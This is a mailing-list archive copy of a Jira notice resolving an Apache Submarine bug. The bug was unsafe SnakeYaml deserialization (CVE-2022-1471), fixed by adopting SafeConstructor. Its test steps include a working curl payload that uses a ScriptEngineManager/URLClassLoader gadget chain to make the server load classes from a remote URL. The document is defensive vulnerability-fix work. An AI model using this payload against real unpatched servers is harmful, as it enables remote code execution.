You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@submarine.apache.org by "cdmikechen (Jira)" <ji...@apache.org> on 2023/03/26 02:24:00 UTC
[jira] [Resolved] (SUBMARINE-1371) Fix unsafe deserialization via SnakeYaml in YamlEntityProvider
[ https://issues.apache.org/jira/browse/SUBMARINE-1371?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
cdmikechen resolved SUBMARINE-1371.
-----------------------------------
Fix Version/s: 0.8.0
Resolution: Fixed
Issue resolved by pull request 1054
[https://github.com/apache/submarine/pull/1054]
> Fix unsafe deserialization via SnakeYaml in YamlEntityProvider
> --------------------------------------------------------------
>
> Key: SUBMARINE-1371
> URL: https://issues.apache.org/jira/browse/SUBMARINE-1371
> Project: Apache Submarine
> Issue Type: Bug
> Components: Backend Server
> Reporter: cdmikechen
> Assignee: cdmikechen
> Priority: Critical
> Labels: pull-request-available
> Fix For: 0.8.0
>
>
> Use SnakeYaml's SafeConstructor to replace default Yaml no arguments constructor to void unsafe deserialization.
> Link url: [https://nvd.nist.gov/vuln/detail/CVE-2022-1471]
> Test steps:
> # start a server with *python3 -m http.server 8080*
> # start submarine
> # test submarine with command
> {code:sh}
> curl --location 'http://127.0.0.1:32080/api/v1/serve/' \
> --header 'Content-Type: application/yaml' \
> --data '!!org.apache.submarine.server.api.model.ServeSpec: modelName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080"]]]]'
> {code}
> # we can see python server receive url like this:
> {code:sh}
> Serving HTTP on :: port 8080 (http://[::]:8080/) ...
> ::ffff:127.0.0.1 - - [05/Mar/2023 16:12:01] "GET / HTTP/1.1" 200 -
> {code}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscribe@submarine.apache.org
For additional commands, e-mail: dev-help@submarine.apache.org